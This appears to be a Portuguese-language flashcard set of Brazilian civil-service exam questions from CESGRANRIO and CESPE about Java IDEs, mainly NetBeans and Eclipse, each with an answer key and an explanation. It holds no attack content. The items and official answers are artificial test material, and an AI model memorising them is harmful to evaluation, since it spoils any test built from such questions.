  1. (CESGRANRIO - 2009 – DECEA – Analista de Sistemas) Um técnico em programação deseja identificar três exemplos de ambientes integrados de desenvolvimento (IDE), apresentados em:

a) Netbeans, Eclipse e IntelliJ IDEA.
b) Struts, Eclipse e Tomcat.
c) Eclipse, MyFaces e Struts.
d) MyFaces, PostgreSQL e AJAX.
e) AJAX, Netbeans e Eclipse.

A

Struts, Tomcat, MyFaces, PostgreSQL e AJAX não são IDEs!

Netbeans é o maior concorrente do Eclipse.

O IntelliJ IDEA é também uma IDE, mas não gratuita.

Gabarito: A

438
Q
  1. (CESGRANRIO - 2009 – DECEA – Analista de Sistemas) Uma equipe de desenvolvimento de sistemas, que utiliza Eclipse como IDE Java, deseja utilizar o Subversion para controle de versão de seus programas.

Que plugins podem ser instalados no Eclipse para que haja a integração da IDE com o repositório do Subversion?

a) FileSync e Subclipse
b) ProjectSet e Subclipse
c) ProjectSet e FileSync
d) Subversive e Subclipse
e) Subversive e FileSync

A

Galera, existem dois plug-ins para integração do Eclipse com Subversion:

Subversive e Subclipse.

Gabarito: D

439
Q
  1. (CESPE - 2008 – HEMOBRÁS - Analista Sistemas) Para criar um código e compilá-lo no Netbeans IDE 6.5, o programador tem antes que limpar as variáveis da memória com o comando CleanMemVariables via interface de tarefas da ferramenta.
A

Essa questão não faz o menor sentido! Isso não existe…

Gabarito: Errada

440
Q
  1. (CESPE - 2008 – HEMOBRÁS - Analista Sistemas) O Netbeans IDE 6.5 é uma plataforma que pode ser utilizada em ambientes Windows, Linux e Solaris.
A

Netbeans é um Ambiente de Desenvolvimento Integrado escrito em Java!

Ele permite que aplicações sejam desenvolvidas por meio de um conjunto de módulos de componentes de software.

Ele foi criado inicialmente para desenvolvimento Java, no entanto é capaz de suportar outras linguagens, tais como: PHP, C/C++ e HTML5. Além disso, ele é multiplataforma e roda no Windows, Linux, Mac OS, Solaris, etc.

Gabarito: Certa

441
Q
  1. (CESPE - 2008 – HEMOBRÁS - Analista Sistemas) A ferramenta Netbeans IDE 6.5 é capaz de compilar vários programas Java em um projeto. A criação de um arquivo JAR é uma tarefa manual e deve ser executada fora da janela, porque o Netbeans IDE 6.5 proíbe tal funcionalidade por conta de vírus em arquivos JAR.
A

A afirmativa está incorreta. Vamos analisar os principais pontos:

Análise da Afirmativa

  1. Criação de Arquivos JAR no NetBeans:
    O NetBeans IDE 6.5 permite a criação de arquivos JAR diretamente dentro da IDE. Isso pode ser feito através do menu de exportação do projeto, e não é necessário sair da janela da IDE para realizar essa tarefa. Portanto, a afirmativa de que a criação de um arquivo JAR é uma tarefa manual e deve ser feita fora da janela está errada.
  2. Proibição de Funcionalidade por Questões de Segurança:
    A afirmativa sugere que o NetBeans proíbe a criação de arquivos JAR por conta de vírus. Isso é falso. O NetBeans não tem uma política que proíba a criação de arquivos JAR devido a preocupações com vírus. A criação e manipulação de arquivos JAR são funcionalidades padrão nas IDEs Java, e o NetBeans é projetado para suportar isso de maneira segura e eficiente.

Conclusão
A afirmativa é incorreta em suas duas partes: o NetBeans permite a criação de arquivos JAR diretamente na IDE e não proíbe essa funcionalidade devido a preocupações com vírus.

Gabarito: Errado

442
Q
  1. (CESPE - 2008 – HEMOBRÁS - Analista Sistemas) A partir do menu Arquivo -> novo projeto do Netbeans IDE 6.5, o programador pode escolher diversas opções, entre as quais a criação de aplicações do tipo desktop.
A

A afirmativa está correta. Vamos explicar os principais pontos:

Criação de Projetos no NetBeans IDE 6.5

  1. Menu Arquivo -> Novo Projeto:
    No NetBeans IDE 6.5, ao acessar o menu Arquivo e selecionar Novo Projeto, o programador é apresentado a uma variedade de opções de projeto. Essas opções incluem diferentes tipos de aplicações e tecnologias.
  2. Opções de Aplicações:
    Entre as opções disponíveis, o programador pode escolher criar aplicações do tipo desktop. Isso é comum em projetos Java, onde podem ser desenvolvidas aplicações usando bibliotecas como Swing ou JavaFX para interfaces gráficas.
  3. Diversidade de Projetos:
    Além das aplicações desktop, o NetBeans também oferece opções para criar projetos web, aplicativos móveis, projetos de biblioteca e outros, o que torna a IDE bastante versátil.

Conclusão
A afirmativa está correta: a partir do menu Arquivo -> Novo Projeto no NetBeans IDE 6.5, é possível escolher a criação de aplicações do tipo desktop, entre outras opções.

Gabarito: C

443
Q
  1. (CESPE - 2008 – HEMOBRÁS - Analista Sistemas) O Netbeans IDE 6.5 possui suporte para a criação de aplicações web em Java, além de suporte a outras linguagens de programação.
A

A afirmativa está correta. Vamos detalhar os pontos principais:

Suporte do NetBeans IDE 6.5

  1. Criação de Aplicações Web em Java:
    O NetBeans IDE 6.5 possui suporte robusto para o desenvolvimento de aplicações web em Java. Isso inclui a capacidade de criar aplicações usando tecnologias como JavaServer Pages (JSP), Servlets, e frameworks populares como JavaServer Faces (JSF).
  2. Suporte a Outras Linguagens de Programação:
    Além do suporte para Java, o NetBeans também pode ser configurado para trabalhar com outras linguagens de programação, como:
    • PHP: Com suporte a desenvolvimento web usando PHP.
    • C/C++: Suporte para desenvolvimento em C e C++.
    • HTML/CSS/JavaScript: Para desenvolvimento de front-end de aplicações web.
    • Ruby: Através de plug-ins.
  3. Plugins e Extensibilidade:
    O NetBeans é uma IDE extensível, o que significa que é possível instalar plug-ins para adicionar suporte a mais linguagens e tecnologias, permitindo que os desenvolvedores trabalhem em uma ampla gama de projetos.

Conclusão
A afirmativa está correta: o NetBeans IDE 6.5 oferece suporte para a criação de aplicações web em Java, além de suportar outras linguagens de programação.

Gabarito: Correto

444
Q
  1. (CESPE - 2008 – TCE/AC - Analista Sistemas – I) O NetBeans é uma ferramenta CASE.
A

O Netbeans é uma Ferramenta CASE (Computer-Aided Software Engineering). Por que?

Sommerville afirma que uma Ferramenta CASE é um software utilizado para apoiar as atividades de processo de software, como engenharia de requisitos, projeto, desenvolvimento de programas
e testes. Incluem, portanto, editores de diagramas, dicionários de dados, compiladores, debuggers, entre outros.

Gabarito: Certa

445
Q
  1. (CESPE - 2008 – TCE/AC - Analista Sistemas – II) O usuário do NetBeans atua de forma mais intensa junto às atividades relacionadas ao levantamento de requisitos que junto às atividades
    relacionadas ao teste unitário de módulos do sistema.
A

O usuário do Netbeans, em geral, é o desenvolvedor de
software.

Se ele está desenvolvendo, é porque os requisitos já foram levantados.

Lembrando que testes unitários são feitos por desenvolvedores e, não, por testadores.

Gabarito: Errada

446
Q
  1. (CESPE - 2008 – TCE/AC - Analista Sistemas – III) O NetBeans, pelo suporte que oferece à programação visual, é considerado uma ferramenta de RAD (Rapid Application Development).
A

O Netbeans é uma ferramenta RAD (Rapid Application Development)?

Sim, porque é uma ferramenta que permite e estimula tanto o design visual da interface gráfica quanto a alta reutilização de componentes, de forma a produzir uma aplicação no menor tempo possível.

Outras ferramentas desse tipo são Delphi, e-Gen Developer e JDeveloper.

Gabarito: Certa

447
Q
  1. (CESPE - 2008 – TST - Analista Sistemas) O Java Netbeans possui um mecanismo de compilação de código que permite ao programador verificar, de maneira visual, o resultado da compilação.
A

É possível ir acompanhando a compilação visualmente.

Gabarito: Certa

448
Q
  1. (CESPE - 2008 – TST - Analista Sistemas) Durante a criação de um projeto utilizando-se Java NetBeans, informações relacionadas ao nome do projeto e ao path da pasta onde os arquivos relativos ao projeto serão armazenados devem ser inseridas em campos apropriados.
A

Para criar uma nova aplicação, basta clicar em Arquivo (File), depois Novo Projeto (New Project) e ele terá uma gama imensa de opções de projetos e linguagens de programação.

Ele pode, por exemplo, criar uma Aplicação Java, Aplicação Java Desktop (Swing), Aplicação PHP, Aplicação Ruby, Aplicação Groovy, entre diversas outras possibilidades.

Por fim, escolhe-se o caminho da pasta de armazenamento.

Gabarito: Certa

449
Q
  1. (CESPE - 2008 – TST - Analista Sistemas) Quando um projeto é criado no Java NetBeans, uma janela de projeto é iniciada. Essa janela contém uma visão em árvore dos componentes do projeto, entretanto não mostra o código fonte, nem as bibliotecas dependentes.
A

A afirmativa está incorreta. Vamos explicar:

Análise da Afirmativa

  1. Janela de Projeto no NetBeans:
    Quando um projeto é criado no NetBeans, uma janela de projeto é realmente iniciada, que fornece uma visão em árvore dos componentes do projeto. Essa visão é chamada de Project Explorer (ou Projects View).
  2. Conteúdo da Janela de Projeto:
    • Componentes do Projeto: A visão em árvore mostra os arquivos do projeto, incluindo os códigos-fonte, arquivos de configuração e outros recursos.
    • Código Fonte: Na janela do projeto, é possível acessar e visualizar o código fonte dos arquivos .java e .jsp (no caso de aplicações web), entre outros.
    • Bibliotecas Dependentes: Além disso, a janela de projeto também exibe as bibliotecas e dependências necessárias para o projeto, geralmente listadas sob uma seção de Libraries.

Conclusão
A afirmativa é incorreta porque a janela de projeto no NetBeans realmente mostra o código fonte e as bibliotecas dependentes do projeto.

Gabarito: Errada

450
Q
  1. (CESPE - 2008 – TST - Analista Sistemas) Após criar um programa com o Java NetBeans, o uso da opção Run Main Project, presente no menu Run, permite executar e testar as funcionalidades do referido programa.
A

A afirmativa está correta. Vamos detalhar os principais pontos:

Execução de Projetos no NetBeans

  1. Opção “Run Main Project”:
    No NetBeans, após a criação de um programa, a opção “Run Main Project” no menu Run é utilizada para compilar e executar o projeto principal que está ativo no momento. Essa opção é essencial para testar as funcionalidades implementadas.
  2. Execução e Testes:
    Quando o programador seleciona essa opção, o NetBeans compila o código fonte do projeto e inicia a execução do aplicativo. Isso permite que o desenvolvedor teste as funcionalidades do programa em tempo real, facilitando a identificação de erros e a validação do comportamento esperado.

Conclusão
A afirmativa é correta: após criar um programa com o Java NetBeans, usar a opção “Run Main Project” permite executar e testar as funcionalidades do programa.

Gabarito: Certa

451
Q
  1. (CESPE - 2008 – TST - Analista Sistemas) O Java NetBeans possui mecanismo que facilita a criação de interfaces gráficas (GUI) para o Java. Esse mecanismo é denominado AWT.JAR.
A

A afirmativa está incorreta. Vamos analisar os pontos principais:

Análise da Afirmativa

  1. Criação de Interfaces Gráficas no NetBeans:
    O Java NetBeans de fato possui mecanismos que facilitam a criação de interfaces gráficas (GUI), mas o nome AWT.JAR não é o termo correto utilizado para se referir a esses mecanismos.
  2. Mecanismos de Criação de GUI:
    • O NetBeans utiliza principalmente dois conjuntos de ferramentas para a criação de interfaces gráficas em Java:
      • AWT (Abstract Window Toolkit): Um dos frameworks originais para a criação de interfaces gráficas em Java, que fornece componentes básicos.
      • Swing: Uma biblioteca mais avançada que se baseia no AWT e oferece uma ampla gama de componentes e recursos para a criação de interfaces gráficas mais sofisticadas.
  3. Ferramenta de Design Visual:
    O NetBeans IDE oferece um Designer de Formulários (também conhecido como GUI Builder ou Matisse) que permite aos desenvolvedores arrastar e soltar componentes de interface, facilitando a criação visual de GUIs, sem a necessidade de codificação manual para cada componente.

Conclusão
A afirmativa é incorreta: o Java NetBeans não utiliza um mecanismo denominado AWT.JAR para facilitar a criação de interfaces gráficas. AWT é uma das bibliotecas, mas a afirmação sobre o nome está errada.

Gabarito: Errada